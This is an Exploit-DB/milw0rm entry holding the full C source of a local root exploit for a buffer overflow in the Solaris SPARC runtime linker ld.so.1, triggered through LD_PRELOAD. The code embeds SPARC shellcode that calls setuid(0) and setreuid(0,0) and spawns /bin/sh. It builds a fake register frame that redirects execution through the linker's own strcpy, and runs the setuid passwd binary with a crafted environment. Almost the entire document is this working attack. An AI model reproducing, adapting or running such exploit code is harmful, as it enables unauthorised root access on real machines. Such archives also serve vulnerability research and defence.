Solaris Runtime Linker (SPARC) - 'ld.so.1' Local Buffer Overflow

EDB-ID:

114

Author:

osker178

Type:

local

Platform:

Solaris

Published:

2003-10-27

/* #############################
 * ## ld.so.1 exploit (SPARC) ##
 * #############################
 * [coded by: osker178 (bjr213 psu.edu)]
 *
 * Alright, so this exploits a fairly standard buffer
 * overflow in the default Solaris runtime linker (ld.so.1)
 * (discovery by Jouko Pynnonen)
 * Only real deviation here from the standard overflow
 * and return into libc scenario is that at the time that 
 * overflow occurs, the libc object file has not been loaded; 
 * so it's not really possible to return into a libc function.
 * However, this poses no real problem to us, as ld.so.1 
 * provides it's own ___cpy() functions which we can use to 
 * move our shellcode into an appropriate place in memory.  
 *
 * Some things to note:
 *
 *  -  obviously some of the pre-defined addresses will have to be changed
 *  
 *  -  1124-1128 bytes into our buffer provided to LD_PRELOAD we will end up
 *     overwriting a char *; this is actually very helpful for locating where
 *     the rest of our information is stored in memory, as this pointer
 *     will be used to display another error message, showing us what string 
 *     is stored at the address we overwrote this pointer with.
 *  
 *  -  ... eh, that's enough, just look at the code to figure the rest out
 */
#include <dlfcn.h>
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <link.h>


char SPARC_sc[] =
  /* setuid(0) */
  "\x90\x1b\xc0\x0f" /* xor     %o7,%o7,%o0 */
  "\x82\x10\x20\x17" /* mov     23,%g1 | 23 == SYS_setuid()*/
  "\x91\xd0\x20\x08" /* ta      8 */

  /* setreuid(0,0) - for me at least, these both had to be called */
  "\x92\x1a\x40\x09" /* xor     %o1,%o1,%o1 */
  "\x82\x10\x20\xca" /* mov     202, %g1 | 202 == SYS_setreuid()*/
  "\x91\xd0\x20\x08" /* ta      8 */

  /* exec(/bin/sh) */
  "\x21\x0b\xd8\x9a" /* sethi   %hi(0x2f626800), %l0 */
  "\xa0\x14\x21\x6e" /* or      %l0, 0x16e, %l0 ! 0x2f62696e */
  "\x23\x0b\xdc\xda" /* sethi   %hi(0x2f736800), %l1 */
  "\x90\x23\xa0\x10" /* sub     %sp, 16, %o0 */
  "\x92\x23\xa0\x08" /* sub     %sp, 8, %o1 */
  "\x94\x1b\x80\x0e" /* xor     %sp, %sp, %o2 */
  "\xe0\x3b\xbf\xf0" /* std     %l0, [%sp - 16] */
  "\xd0\x23\xbf\xf8" /* st      %o0, [%sp - 8] */
  "\xc0\x23\xbf\xfc" /* st      %g0, [%sp - 4] */
  "\x82\x10\x20\x3b" /* mov     59, %g1 | 59 = SYS_execve() */
  "\x91\xd0\x20\x08" /* ta      8 */
;


const long FRAME_ADDR = 0xffbee938;
const long SHELLCODE_ADDR = 0xffbef17a;   
const long DESTCPY_ADDR = 0xff3e7118; 
const long DEF_OFFSET = 0x20;

const int ENV_STR_SIZE = 2048;
const int FRAME_SIZE = 64; /* 8 %i regs and 8 %l regs */
const int DEF_FPAD_LEN = 4;
const int REC_BUF_SIZE = 1456;


char * get_ld_env(int buf_len, long offset); 
char * get_fake_frame(long offset);
char * get_envs_str(char fill);
unsigned long get_strcpy_addr();



/* ********************************************** *
 * ******************** MAIN ******************** *
 * ********************************************** */

int main(int argc, char **argv)
{

  char *prog[3];
  char *envs[7];  
  char opt;
  int buf_size = -1;
  int fpad_len = -1;
  long offset = -1;

  char *ld_pre_env = 0x0;
  char *fake_frame = 0x0;
 

  /* padding of sorts */
  char *envs_str1 = 0x0; 
  char *envs_str2 = 0x0; 
  char *fpad_buf = 0x0;

  // ------------------------------------------------ //
  

  while((opt = getopt(argc, argv, "s:o:p:")) != -1)
  {
    switch(opt) {
    case 's':
      if(!optarg) {
	printf("-s needs size argument\n");
	exit(0);
      }
      else
	buf_size = atoi(optarg);
      break;

    case 'o':
      if(!optarg) {
	printf("-o needs offset argument\n");
	exit(0);
      }
      else
	offset = atol(optarg);
      break;

    case 'p':
      if(!optarg) {
	printf("-p needs pad length argument\n");
	exit(0);
      }
      else {
	fpad_len = atoi(optarg);
	if(fpad_len < 0)
	  fpad_len = 0;
      }
      break;

    default:
      printf("Usage: %s [-s size] [-o offset] [-p fpad_len]\n", argv[0]);
      exit(0);

    }
    
    argc -= optind;
    argv += optind;	
  }
  
  printf("\n#######################################\n");
  printf("# ld.so.1 LD_PRELOAD (SPARC) exploit  #\n");
  printf("# coded by: osker178 (bjr213@psu.edu) #\n");
    printf("#######################################\n\n");

  if(buf_size == -1)
  {
    printf("Using default/recommended buffer size of %d\n", REC_BUF_SIZE);
    buf_size = REC_BUF_SIZE;
  }
  else if(buf_size % 4)
  {
    buf_size = buf_size + (4 - (buf_size%4));
    printf("WARNING: Rounding BUF_SIZE up to 0x%x (%d)\n", buf_size, buf_size);
  }


  if(offset == -1)
  {
    printf("Using default OFFSET of 0x%x (%d)\n", DEF_OFFSET, DEF_OFFSET);
    offset = DEF_OFFSET;
  }  
  else if((FRAME_ADDR + offset) % 8)
  {
    offset = offset + (8 - (offset%8));
    printf("WARNING: Rounding offset up to 0x%x (%d)\n", offset, offset);
    printf("(otherwise FRAME_ADDR would not be alligned correctly)\n");
  }


  if(fpad_len == -1)
  {
    printf("Using default FPAD_LEN of 0x%x (%d)\n", DEF_FPAD_LEN, DEF_FPAD_LEN);
    fpad_len = DEF_FPAD_LEN;
  }

  // -------------------------------------------------- //


  ld_pre_env = get_ld_env(buf_size, offset);
  if(!ld_pre_env)
    exit(0);
  
  fake_frame = get_fake_frame(offset);
  if(!fake_frame)
    exit(0);
  
  envs_str1 = get_envs_str('1');
  if(!envs_str1)
    exit(0);

  envs_str2 = get_envs_str('2');
  if(!envs_str2)
    exit(0);

    

  // -------------------------------------------------- //


  fpad_buf = (char *)malloc(fpad_len+1);
  if(!fpad_buf)
  {
    perror("malloc");
    exit(0);
  }
  memset(fpad_buf, 'F', fpad_len);
  fpad_buf[fpad_len] = '\0';
  

  envs[0] = fpad_buf;
  envs[1] = fake_frame;
  envs[2] = envs_str1;
  envs[3] = SPARC_sc;
  envs[4] = envs_str2;
  envs[5] = ld_pre_env;
  envs[6] = NULL;

  prog[0] = "/usr/bin/passwd";
  prog[1] = "passwd";
  prog[2] = NULL;

  execve(prog[0], prog, envs);

  perror("execve");

  return 0;
}


/* ********************************************** */





/* ********************************************** *
 * ***************** GET_LD_ENV ***************** *
 * ********************************************** */
char * get_ld_env(int buf_len, long offset)
{
  long *lp;
  char *buf;
  char *ld_pre_env;
  unsigned long strcpy_ret;

  strcpy_ret = get_strcpy_addr(); 
  if(!strcpy_ret)
    return 0;
  else
    printf("strcpy found at [0x%x]\n\n", strcpy_ret);

  /*
   * buf_size --> main requested length (rounded up to nearest factor of 4)
   * +FRAME_SIZE --> for the fake frame values (64 bytes worth) we will overwrite
   * +1 --> for the "/" character that must be appended in order to pass the strchr() 
   *        and strrchr() tests (see <load_one>: from objdump -d /usr/lib/ld.so.1)
   * +1 --> '\0' obviously
   */
  buf = (char *)malloc(buf_len + FRAME_SIZE + 1 + 1); 
  if(!buf)
  {
    perror("malloc");
    return 0;
  }


  memset(buf, 'A', buf_len); 
  buf[0] = '/';
  
  /* this is the location of the (char *) in ld.so.1 we are overwriting 
   * -> use this to find the address of the environment
   *    arguments (whatever value we write at this address
   *    is what will be displayed in an error message
   *    from ld.so.1 after the error message generated from
   *    our insecure path provided in LD_PRELOAD)
   */
  lp = (long *)(buf + 1124);
  *lp++ = FRAME_ADDR + offset; 

  lp = (long *)(buf + buf_len);

  /* %l regs - as far as we're concerned, these
   *           values don't matter (i've never
   *           had a problem with them)
   */
  *lp++ = 0x61616161; /* %l0 */
  *lp++ = 0x62626262; /* %l1 */
  *lp++ = 0x63636363; /* %l2 */
  *lp++ = 0x64646464; /* %l3 */
  *lp++ = 0x65656565; /* %l4 */
  *lp++ = 0x66666666; /* %l5 */
  *lp++ = 0x67676767; /* %l6 */
  *lp++ = 0x68686868; /* %l7 */

  /* %i regs */
  *lp++ = 0x69696969;     /* %i0 */
  *lp++ = 0x70707070;     /* %i1 */
  *lp++ = 0x71717171;     /* %i2 */
  *lp++ = 0x72727272;     /* %i3 */
  *lp++ = 0x73737373;     /* %i4 */
  *lp++ = 0x74747474;     /* %i5 */
  *lp++ = FRAME_ADDR + offset; /* our fake frame/%i6 */
  *lp = strcpy_ret;      /* ret address/%i7 */
  strcat(buf, "/");


  /* put together our LD_PRELOAD buffer */
  ld_pre_env = (char *)malloc(strlen(buf) + strlen("LD_PRELOAD=") + 1);
  if(!ld_pre_env)
  {
    perror("malloc");
    return 0;
  }

  strcpy(ld_pre_env, "LD_PRELOAD=");
  strcat(ld_pre_env + strlen(ld_pre_env), buf);
  
  free(buf);
  
  return ld_pre_env;
}




/* ********************************************** *
 * *************** GET_FAKE_FRAME *************** *
 * ********************************************** */
char * get_fake_frame(long offset)
{
  long destcpy_addr;
  long *lp;
  char *frame = (char *)malloc(FRAME_SIZE + 1);

  if(!frame)
  {
    perror("malloc");
    return 0;
  }

  /* this worked for me; may have to adjust though 
   * - can easily find a good place by using gdb and pmap */
  destcpy_addr = get_strcpy_addr() + 0x17000;

  lp = (long *)frame;
  
  /* %l regs - values don't matter */
  *lp++ = 0x42454746; /* %l0 <- == "BEGF", use this to help locate frame's address */
  *lp++ = 0xdeaddead; /* %l1 */
  *lp++ = 0xdeaddead; /* %l2 */
  *lp++ = 0xdeaddead; /* %l3 */
  *lp++ = 0xdeaddead; /* %l4 */
  *lp++ = 0xdeaddead; /* %l5 */
  *lp++ = 0xdeaddead; /* %l6 */
  *lp++ = 0xdeaddead; /* %l7 */

  /* %i regs */
  *lp++ = destcpy_addr;              /* %i0 - DESTINATION ADDRESS for ___cpy() */
  *lp++ = (SHELLCODE_ADDR + offset); /* %i1 - SOURCE ADDRESS for ___cpy() */
  *lp++ = 0xdeaddead;                /* %i2 - size*/
  *lp++ = 0xdeaddead;                /* %i3 */
  *lp++ = 0xdeaddead;                /* %i4 */
  *lp++ = 0xdeaddead;                /* %i5 */
  *lp++ = destcpy_addr+0x200;        /* saved frame pointer/%i6(sp) */
  *lp++ = destcpy_addr-0x8;          /* %i7 */
  *lp++ = 0x0;

  return frame;
}



/* ********************************************** *
 * **************** GET_ENVS_STR **************** *
 * ********************************************** */
char * get_envs_str(char fill)
{
  char *envs_str = (char *)malloc(ENV_STR_SIZE + 1);
  
  if(!envs_str)
  {
    perror("malloc");
    return 0;
  }


  memset(envs_str, fill, ENV_STR_SIZE);
  envs_str[0] = 'b'; // \ 
  envs_str[1] = 'e'; // --- help find where we are in memory/in relation to other env variables  */
  envs_str[2] = 'g'; // /  
  envs_str[ENV_STR_SIZE] = '\0';
  
  return envs_str;
}



/* ********************************************** *
 * *************** GET_STRCPY_ADDR ************** *
 * ********************************************** */
unsigned long get_strcpy_addr()
{
  void *handle;
  Link_map *lm;
  unsigned long addr;

  if((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL)
  {
    perror("dlmopen");
    return 0;
  }


  if((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1)
  {
    perror("dlinfo");
    return 0;
  }


  if((addr = (unsigned long)dlsym(handle, "strcpy")) == NULL)
  {
    perror("dlsym");
    return 0;
  } 
  
  /* -4 to skip save and use 
   * our fake frame instead */
  addr -= 4;
 
  /* make sure addr doesn't contain any 0x00 bytes,
   * or '/' characters (as this is where strcpy will
   * cutoff in ld.so.1) */
  if( !(addr & 0xFF) || !(addr & 0xFF00) || 
      !(addr & 0xFF0000) || !(addr & 0xFF000000) ||
      ((addr & 0xFF) == 0x2f) ||
      ((addr & 0xFF00) == 0x2f) ||
      ((addr & 0xFF0000) == 0x2f) ||
      ((addr & 0xFF000000) == 0x2f) )
  {
    printf("ERROR: strcpy address (0x%x) contains unusable bytes somewhere.\n", addr);
    printf("       -> consider using strncpy, memcpy, or another similar substitute instead.\n");
    return 0;
  }

  return addr;
}


// milw0rm.com [2003-10-27]